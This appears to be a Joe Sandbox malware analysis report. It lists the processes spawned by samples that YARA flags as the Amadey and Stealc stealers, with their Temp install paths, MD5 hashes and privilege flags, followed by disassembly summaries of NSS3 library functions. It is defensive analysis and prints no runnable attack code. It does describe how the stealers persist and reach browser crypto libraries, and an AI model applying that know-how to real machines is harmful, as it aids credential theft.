Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:41:26
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:41:26
Start date:	12/11/2024
Path:	C:\Users\user\DocumentsJJKEBGHJKF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJJKEBGHJKF.exe"
Imagebase:	0x270000
File size:	3'226'112 bytes
MD5 hash:	15974FD2DFB0D8849325EAE72EE67856
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2032579653.0000000000271000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:41:30
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb50000
File size:	3'226'112 bytes
MD5 hash:	15974FD2DFB0D8849325EAE72EE67856
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2027877406.0000000000B51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:41:32
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb50000
File size:	3'226'112 bytes
MD5 hash:	15974FD2DFB0D8849325EAE72EE67856
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2052496873.0000000000B51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:42:00
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb50000
File size:	3'226'112 bytes
MD5 hash:	15974FD2DFB0D8849325EAE72EE67856
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.2903901457.0000000000B51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	09:42:25
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe"
Imagebase:	0x970000
File size:	1'825'280 bytes
MD5 hash:	BC37773BB9AB9C72DED7535B8CAC8B6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2571550007.000000000169E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2568449016.0000000000971000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.2527772656.0000000005320000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:42:28
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'226'112 bytes
MD5 hash:	15974FD2DFB0D8849325EAE72EE67856
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	09:42:34
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe"
Imagebase:	0x230000
File size:	2'748'416 bytes
MD5 hash:	3E79282C154C08FDF6EC285B44608428
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:42:48
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe"
Imagebase:	0x230000
File size:	2'748'416 bytes
MD5 hash:	3E79282C154C08FDF6EC285B44608428
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:42:56
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe"
Imagebase:	0x230000
File size:	2'748'416 bytes
MD5 hash:	3E79282C154C08FDF6EC285B44608428
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Function 6C6E6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C832120,6C6E7E60), ref: 6C6E6EBC
TlsGetValue.KERNEL32 ref: 6C6E6EDF
EnterCriticalSection.KERNEL32(?), ref: 6C6E6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C6E6F25

Part of subcall function 6C6BA900: TlsGetValue.KERNEL32(00000000,?,6C8314E4,?,6C654DD9), ref: 6C6BA90F
Part of subcall function 6C6BA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6BA94F

PR_Unlock.NSS3 ref: 6C6E6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C6E6FA9
TlsGetValue.KERNEL32 ref: 6C6E70B4
EnterCriticalSection.KERNEL32(?), ref: 6C6E70C8
PR_CallOnce.NSS3(6C8324C0,6C727590), ref: 6C6E7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6E7117
SECOID_Init.NSS3 ref: 6C6E7128
PORT_Alloc_Util.NSS3(00000057), ref: 6C6E714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E71A9
PR_NotifyAllCondVar.NSS3 ref: 6C6E71CF
PR_Unlock.NSS3 ref: 6C6E71DD
free.MOZGLUE(?), ref: 6C6E71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6E7208
free.MOZGLUE(00000000), ref: 6C6E7221
free.MOZGLUE(00000001), ref: 6C6E7235
TlsGetValue.KERNEL32 ref: 6C6E724A
EnterCriticalSection.KERNEL32(?), ref: 6C6E725E
PR_NotifyCondVar.NSS3 ref: 6C6E7273
PR_Unlock.NSS3 ref: 6C6E7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C6E7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6E7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C820148,,defaultModDB,internalKeySlot), ref: 6C6E74CC
free.MOZGLUE(00000000), ref: 6C6E7513
free.MOZGLUE(00000000), ref: 6C6E751B
free.MOZGLUE(00000000), ref: 6C6E7528
free.MOZGLUE(00000000), ref: 6C6E753C
free.MOZGLUE(00000000), ref: 6C6E7550
free.MOZGLUE(00000000), ref: 6C6E7561
free.MOZGLUE(00000000), ref: 6C6E7572
free.MOZGLUE(00000000), ref: 6C6E7583
free.MOZGLUE(00000000), ref: 6C6E7594
free.MOZGLUE(00000000), ref: 6C6E75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6E75BD
free.MOZGLUE(00000000), ref: 6C6E75C8
free.MOZGLUE(00000000), ref: 6C6E75F1
PR_NewLock.NSS3 ref: 6C6E7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C6E7686
PR_NewLock.NSS3 ref: 6C6E76A2

Part of subcall function 6C7998D0: calloc.MOZGLUE(00000001,00000084,6C6C0936,00000001,?,6C6C102C), ref: 6C7998E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6E76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C6E7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6E771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6E7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C6E774A
DeleteCriticalSection.KERNEL32(?), ref: 6C6E7770
free.MOZGLUE(?), ref: 6C6E7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6E77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6E77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C6E7821
PORT_Alloc_Util.NSS3(?), ref: 6C6E7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C6E785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6E786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6E78AC
free.MOZGLUE(00000000), ref: 6C6E78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6E78F3
free.MOZGLUE(00000000), ref: 6C6E78FC
free.MOZGLUE(00000000), ref: 6C6E791C

Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07AD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07CD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07D6
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C65204A), ref: 6C6C07E4
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,6C65204A), ref: 6C6C0864
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6C0880
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,6C65204A), ref: 6C6C08CB
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08D7
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08FB

Strings

NSS Internal Module, xrefs: 6C6E74A2, 6C6E74C6
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6E74C7
dll, xrefs: 6C6E788E
Spac, xrefs: 6C6E7389
rdb:, xrefs: 6C6E7744
,defaultModDB,internalKeySlot, xrefs: 6C6E748D, 6C6E74AA
kbi., xrefs: 6C6E7886
sql:, xrefs: 6C6E76FE
extern:, xrefs: 6C6E772B
dbm:, xrefs: 6C6E7716

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 8e90e00509da72bff53f1944e6508f01e6464370a459d44eef29f3c93a074b14
Instruction ID: f233470a5102cbc64a0d35f6d49565a6ac76b693767039a5fcb663463af13c25
Opcode Fuzzy Hash: 8e90e00509da72bff53f1944e6508f01e6464370a459d44eef29f3c93a074b14
Instruction Fuzzy Hash: CA5215B1E0A2059BEF208F64DD097AE7BB4AF0930CF14443AED09A7642E735E954CBD5

Function 6C70BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C70C0C8

Part of subcall function 6C799440: LeaveCriticalSection.KERNEL32 ref: 6C7995CD
Part of subcall function 6C799440: TlsGetValue.KERNEL32 ref: 6C799622
Part of subcall function 6C799440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C79964E

PR_EnterMonitor.NSS3 ref: 6C70C0AE

Part of subcall function 6C799090: LeaveCriticalSection.KERNEL32 ref: 6C7991AA
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C799212
Part of subcall function 6C799090: _PR_MD_WAIT_CV.NSS3 ref: 6C79926B

Part of subcall function 6C6C0600: GetLastError.KERNEL32(?,?,?,?,?,6C6C05E2), ref: 6C6C0642
Part of subcall function 6C6C0600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6C05E2), ref: 6C6C065D
Part of subcall function 6C6C0600: GetLastError.KERNEL32 ref: 6C6C0678
Part of subcall function 6C6C0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C6C068A
Part of subcall function 6C6C0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6C0693
Part of subcall function 6C6C0600: PR_SetErrorText.NSS3(00000000,?), ref: 6C6C069D
Part of subcall function 6C6C0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,05D3D763,?,?,?,?,?,6C6C05E2), ref: 6C6C06CA
Part of subcall function 6C6C0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6C05E2), ref: 6C6C06E6

PR_EnterMonitor.NSS3 ref: 6C70C0F2
PR_ExitMonitor.NSS3 ref: 6C70C10E
PR_ExitMonitor.NSS3 ref: 6C70C081

Part of subcall function 6C799440: TlsGetValue.KERNEL32 ref: 6C79945B
Part of subcall function 6C799440: TlsGetValue.KERNEL32 ref: 6C799479
Part of subcall function 6C799440: EnterCriticalSection.KERNEL32 ref: 6C799495
Part of subcall function 6C799440: TlsGetValue.KERNEL32 ref: 6C7994E4
Part of subcall function 6C799440: TlsGetValue.KERNEL32 ref: 6C799532
Part of subcall function 6C799440: LeaveCriticalSection.KERNEL32 ref: 6C79955D

PR_EnterMonitor.NSS3 ref: 6C70C068

Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990AB
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990C9
Part of subcall function 6C799090: EnterCriticalSection.KERNEL32 ref: 6C7990E5
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C799116
Part of subcall function 6C799090: LeaveCriticalSection.KERNEL32 ref: 6C79913F

Part of subcall function 6C6C0600: GetProcAddress.KERNEL32(?,?), ref: 6C6C0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C70C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C70C183
free.MOZGLUE(00000000), ref: 6C70C18E
PR_LoadLibrary.NSS3(?), ref: 6C70C1A3
PR_EnterMonitor.NSS3 ref: 6C70C1D4
PR_ExitMonitor.NSS3 ref: 6C70C1F3
PR_CallOnce.NSS3(6C832318,6C70CA70), ref: 6C70C210
PR_EnterMonitor.NSS3 ref: 6C70C22B
PR_ExitMonitor.NSS3 ref: 6C70C247
PR_EnterMonitor.NSS3 ref: 6C70C26A
PR_ExitMonitor.NSS3 ref: 6C70C287
PR_UnloadLibrary.NSS3(?), ref: 6C70C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C70C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C70C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C70C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C70C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C70C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C70C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C70C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C70C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C70C8D5
free.MOZGLUE(00000000), ref: 6C70C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C70C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C70C9E5
free.MOZGLUE(00000000), ref: 6C70CA5A

Strings

FC_GetInterface, xrefs: 6C70C054
nss_mod_log, xrefs: 6C70C3CC
Vendor NSS FIPS Interface, xrefs: 6C70C34A
NSS_ReturnModuleSpecData, xrefs: 6C70C275
NSC_ModuleDBFunc, xrefs: 6C70C0FC
NSS_FORCE_TOKEN_LOCK, xrefs: 6C70C77D
NSC_GetInterface, xrefs: 6C70C04F
NSS_DISABLE_UNLOAD, xrefs: 6C70C7B0
NSC_GetFunctionList, xrefs: 6C70C093
PKCS 11, xrefs: 6C70C2F9, 6C70C314
FC_GetFunctionList, xrefs: 6C70C098
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C70C38D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: ddbc3be339696fb036373c2a223a763a768bf66946b546ebd592f8c1860f0983
Instruction ID: 791ea5a18d62609179e42f7c8cc2d213e4dd68395dd9b465a48a3ba190f05b7f
Opcode Fuzzy Hash: ddbc3be339696fb036373c2a223a763a768bf66946b546ebd592f8c1860f0983
Instruction Fuzzy Hash: 75426DF1B002048FDB20DFA5DA4AB5A7BF1BB46309F145838D8098BB62E739D554CBD6

Function 6C7E3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C7E3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7E3FFE
malloc.MOZGLUE(-00000003), ref: 6C7E4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C81FC62), ref: 6C7E404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7E407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7E40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7E40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C7E4112
malloc.MOZGLUE(00000000), ref: 6C7E411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C7E414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C7E4160
free.MOZGLUE(?), ref: 6C7E416C
malloc.MOZGLUE(?), ref: 6C7E41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7E41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C7E4520), ref: 6C7E4244
GetEnvironmentStrings.KERNEL32 ref: 6C7E424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7E4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7E4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7E42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7E42E4
malloc.MOZGLUE(00000002), ref: 6C7E42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C7E4342
GetStdHandle.KERNEL32(000000F6), ref: 6C7E43AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7E43B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7E43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C7E4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C7E4410

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C7E445E
CloseHandle.KERNEL32(?), ref: 6C7E446B
free.MOZGLUE(?), ref: 6C7E4482
free.MOZGLUE(00000000), ref: 6C7E4492
free.MOZGLUE(00000000), ref: 6C7E44A4
GetLastError.KERNEL32 ref: 6C7E44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7E44BE
free.MOZGLUE(?), ref: 6C7E44C7
free.MOZGLUE(00000000), ref: 6C7E44D5
free.MOZGLUE(00000000), ref: 6C7E44EA

Strings

D, xrefs: 6C7E4396
=, xrefs: 6C7E44F8
NSPR_INHERIT_FDS=, xrefs: 6C7E41E9

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 3d4319309c2839b9e0cd9611b1e6dc3f3fb523c493861f2cc0a4cbcb37e90476
Instruction ID: 58a299f415aef2eb78db3eee67778a485e4f37b995c7ecd773ae3d3c0298270e
Opcode Fuzzy Hash: 3d4319309c2839b9e0cd9611b1e6dc3f3fb523c493861f2cc0a4cbcb37e90476
Instruction Fuzzy Hash: FC02E572E043559BEF108FA9CA447AEBBB4AF0E348F244179DC66A7742D730E805DB91

Function 6C6F6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C7FA8EC,0000006C), ref: 6C6F6DC6
memcpy.VCRUNTIME140(?,6C7FA958,0000006C), ref: 6C6F6DDB
memcpy.VCRUNTIME140(?,6C7FA9C4,00000078), ref: 6C6F6DF1
memcpy.VCRUNTIME140(?,6C7FAA3C,0000006C), ref: 6C6F6E06
memcpy.VCRUNTIME140(?,6C7FAAA8,00000060), ref: 6C6F6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F6E38

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C6F6E76
TlsGetValue.KERNEL32 ref: 6C6F726F
EnterCriticalSection.KERNEL32(?), ref: 6C6F7283

Strings

!, xrefs: 6C6F7123

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 16e5f564af2c1059607325109b5332aa521d5f232ec54e60804792a77b5d4414
Instruction ID: 8545a50df59e01c1c93cdb9b92a1d9f27d7e4abb7ce40894af0f73d0a895ea9e
Opcode Fuzzy Hash: 16e5f564af2c1059607325109b5332aa521d5f232ec54e60804792a77b5d4414
Instruction Fuzzy Hash: 31729F75D052189FDF60CF28CC8879ABBB6BF49308F1441A9D81CA7701E771AA85CF95

Function 6C663C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C663C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C663D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C663EAD
